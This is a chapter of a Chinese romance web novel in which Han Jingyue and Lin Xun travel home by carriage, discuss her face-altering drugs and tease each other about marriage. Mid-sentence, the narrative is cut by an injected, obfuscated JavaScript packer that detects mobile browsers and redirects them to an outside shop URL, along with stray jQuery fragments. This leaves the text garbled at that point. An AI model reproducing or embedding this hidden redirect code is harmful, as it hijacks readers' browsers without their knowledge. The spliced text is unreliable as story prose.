114. 手误了,别点

作品:《邪恶青梅,但哭包竹马

    我怕你因我之恶嫌我,你怕我因你之钝嫌你。寒镜月只觉心头温热,再不顾及其他,双唇于他眉心轻轻一碰:“林浔,我从未真的嫌过你,我喜欢你,最喜欢,真的。”


    眉心的温热缓缓回旋,待今夜顺玉水河汤汤而去,一切的酸楚与悲伤都会被冲去不知名的远方。


    翌日寒镜月先行起身,付若干了一晚上的活,眼底一片乌青,见她终于来了,如释重负地瘫在椅子背上,指了指桌上比山高的公文:“喏,漕帮的事儿都在这了,你自己快看吧,我要睡觉去了。”


    寒镜月坐到他对面,满面春风:“付大人太敬业了吧,竟然一宿没睡在这整理?”


    付若没好气地瞪她:“还不是因为你们两个,你哪根筋想出来这么造人的计划?你孤身一人不怕死,我还有一家老小呢,你搞什么鸡毛?”


    “呃……这不是没事吗?”寒镜月摇头晃脑地给自己找补,随便抽了一份公文出来看,“景昭二年安平上任丰州太守,哟,我三岁。”


    付若啧她:“你别在这扯有的没的,这安平上任不到一年就跟漕帮的人勾结,贪的钱都够把玉水河填满了,等我回去非得把他拉下马不可。”


    寒镜月翻看着详细的证据,有一搭没一搭地试探:“付大人就为大义才接了这个忙?”


    付若挑眉:“我非圣人,只能尽可能去帮,接手确实因为一开始以为秦侍郎也会被牵扯遭殃。”


    “你说你娘子从未在你面前提过他,你又怎对此人颇为了解?”寒镜月冷不丁瞥向他。


    付若闷哼了声:“你还不许我打听了?”


    寒镜月想起林浔从前对顾折刀执拗的吃醋,莫名有些想笑,摇摇头不再多言,待仔细确认完公文后,付若已打了个盹,迷迷糊糊地被寒镜月喊起来备马车,她自己则优哉游哉地逛去林浔房间,本想敲门,却又怕惊扰,便悄悄推门,放轻步子溜到他床边。


    林浔还是安安静静的时候最漂亮。寒镜月对着他的脸没忍住笑了,贴到他耳边吹了口气儿,惹得对方连连蹙眉,唔唔地扭了下头:“……镜月,你干嘛啊?”


    “你怎么知道是我?”寒镜月嬉皮笑脸,明知故问。


    林浔疲惫地睁眼:“除了你还有谁那么无聊,几时了,要出发了吗?”


    “付若已经去备马车了,你身上的伤还不能下地,我抱你下去。”寒镜月说完不等他开口就连人带褥地抱在怀里,吓得林浔惊呼:“你、你害不害臊呀?下面还有人呢。”


    要不要告诉他昨天已经把脸丢完了?寒镜月憋笑:“你是伤号,情有可原。”


    “你、你……算了。”林浔想骂她但又骂不出口,只得涨红了脸,认命地躺在她怀里,半埋着脸在她衣襟,付若瞧见二人这样下来,惊骇道:“就算你们两个已经打算成亲了,也不能光天化日之下这般搂搂抱抱!”


    “那怎……不对,他怎么知道我和你要……也不对,你什么时候说要和我成亲了?!”林浔试图抗议去拍寒镜月,奈何没什么力气,被寒镜月揪着动弹不得,“你、你怎么又这样戏弄我?”


    寒镜月正色:“谁说我戏弄你了,我是认真的。再说了,不是你亲口同意的,会一直一直陪着我?”


    林浔离她近了几分:“那你也得等我准备好聘礼,按着流程来对啊?怎么能嘴巴一张一合就把还没礼成的事说出去呢?”


    “我看估计哥哥嫂嫂大仇得报你伤都好不全,等你准备天都亮了,我把你聘了算了,反正都是两个人待一个屋檐下。”寒镜月脸不红心跳地说了通全无“规矩”的话,林浔只觉全身烧热,兀自把脸全埋她怀里,嘟嘟囔囔地憋出一句“好吧”。


    “成何体统,成何体统啊?!”付若像看见了什么不干净的东西一样全身恶寒,但索性说再多也只会被这两个混蛋当球踢,他一转身忙不迭逃去马车上了。


    回京的路不似来时那般急,寒镜月和林浔一车,付若一个人一车,过来时林浔带了自己在秦府后来招的两位信得过的下属,见他被人抱着,有些尴尬地跑走了。


    “都赖你,我名声都臭了。”上车后林浔小声嘟囔,目光悄悄瞥向寒镜月,“要是你把我丢了,我以后就得孤家寡人一辈子了。”


    寒镜月抱剑靠在一旁休息,并不睁眼看他:“放心吧,我不会让你无家可归的。”


    林浔望了她许久,终没忍住问她:“当年全城都贴着我们两个的通缉令,你是怎么回来还换了张脸的?”


    “离开你后遇见了顾折刀,他的命是哥哥保的,所以才作戏救了我们,我答应站在他那边夺权‘无影’,他帮我联系国师他们作假身份报仇,脸是‘无影’中的一位高人帮我换的。”寒镜月如实相告,现在她们之间没什么好隐瞒的。


    林浔微微蹙眉,似有心事:“昨晚我迷迷糊糊看见你抹药,那药也是‘无影’的人给你的?”


    寒镜月:“对啊,一瓶十天的量,只有每十日和“无影”的人交换情报时才能要到。”


    “那往后你若是想离开他们,他们不给你药怎么办?”林浔急了。


    “那就烂了呗。”寒镜月嗤笑,睁开眼笑吟吟地望着他,“死不了就行,怎么,你嫌我?”


    “不会死就好。”林浔松了口气,温柔的目光落在她如瀑般的乌发上,日光下她难得洒脱的神姿令他更加羡往,“我喜欢你又不是因为脸,我若是看重容色之人,你也断不会爱我,从来都是你不要嫌我才对。那你的眼睛呢?江湖上的奇玩意多得很,可没几件是好东西,当真有洗去瞳色还不伤你的药物?”


    寒镜月:“哪有那么好的事,喝一次不知道折我多少寿命去,我老了要是身子不好了,你得每天伺候我,敢让我不顺心我就趁你睡觉的时候劈死你。”


    她说着就反手劈在林浔眼前,不料对方竟没躲,险些真打上他鼻梁骨:“和你闹玩笑呢,怎么还傻里傻气的不知道躲?”


    “你让我现在怎么躲?净知道欺负我……我旧伤成病,定活不过你,倘若你以后病痛缠身无人照料,你教我……”林浔说到此处心中只觉刀割,握着她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270669|190865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手放在心口,“白漪和他爹都医术过人,等他回来我就求他来治你,往后莫要再这般糟践自己的身子了。”


    寒镜月懊恼不该说着逗他,林浔心中的颤动连着她掌心传去她的心里,一时竟有些感伤:“咱们又不是干完这票就一穷二白逃难去了,再不济我还有阿慎阿孟,她们总不可能不管我吧?国师这事毕我们就得想法子金蝉脱壳了,顶多再喝个半年,真没什么事,你别胡思乱想了。”


    林浔闷闷地点头:“无论以后是死是活,是走是留,只要你在,我都愿意,只要你好,我做什么都肯,如今我只剩你,你若早早去了,我定不多活一刻,我只求你好好待自己,我就求你这一句。”


    明明你才是该担心死活的人吧?寒镜月无奈地想,可嘴却早已不可自控地说:“好,我答应你。”


    夏热,心却因情而静,考虑到林浔伤势,马车走不了太快,回丰州最少也要七天。


    第五天,林浔半睡半醒地睁开眼,忽然道:“镜月,我们上次一起坐这么久的马车还刚从边北回来。”


    寒镜月依旧是出来时那副抱剑坐靠的姿势,闭着眼嗯了声:“你想起什么了?”


    这些天路上无聊,俩人干坐着大眼瞪小眼,索性就把从初遇起还记得的事全拿出来说一遍解闷,虽然闹到最后都是林浔控诉寒镜月无耻,寒镜月嘲笑林浔犯蠢。


    “想起来当时你也嚷嚷要和我成亲。”当时她还说什么来着?要让我坐花轿把我抢过去当师郎?这人果然不要脸,不然怎么她学生见了我第一次就管我喊师郎?这五年她绝对在姜慎面前提过我。


    想到这,林浔的脸有些微微热,满怀期待地看向她:“你说你这些年在我家安了眼线,你是不是经常打探我?”


    呃,起初是天天打听,后来发现林浔的日常就是加班、练剑、看病,一整年都没变过,应酬都没去过几次,索性就懒得打听了,但考虑到毕竟探子的钱值她半个月俸禄,寒镜月每个月还是会例行公事地问一嘴的。


    寒镜月:“是啊,我每天都盯着你,就怕你出事。”


    “真的?”林浔心中大喜。


    寒镜月憋笑:“……真的。”


    “真的你干嘛一副要笑要笑的样子,你别以为我不知道你骗我,你从小骗我的时候就不看我眼睛。”林浔见她这样瞬间没了兴致,撇过头去不理她。


    “你别不信嘛,我把那个探子在秦府的化名告诉你,你自个儿问他去。”寒镜月手指绕上他的头发,一圈一圈缠在指尖,“理理我嘛,你不理我,我现在就吞十瓶洗眼睛的药,直接喝死!”


    林浔嗔她:“别说这种话!还有,你玩我头发干嘛?”


    寒镜月眨眨眼:“谁让你头发又长又漂亮?回了玉京我们可就没那么容易经常见面了,现在让我多玩玩好不好?”


    “秦府的人被我换过一轮,你可以放心来。”林浔微微侧头,露出一个最适合她勾玩的姿势,“你昨日去买饭时,我的下属来找我说,太子送来一封信,说想见我,你怎么看?”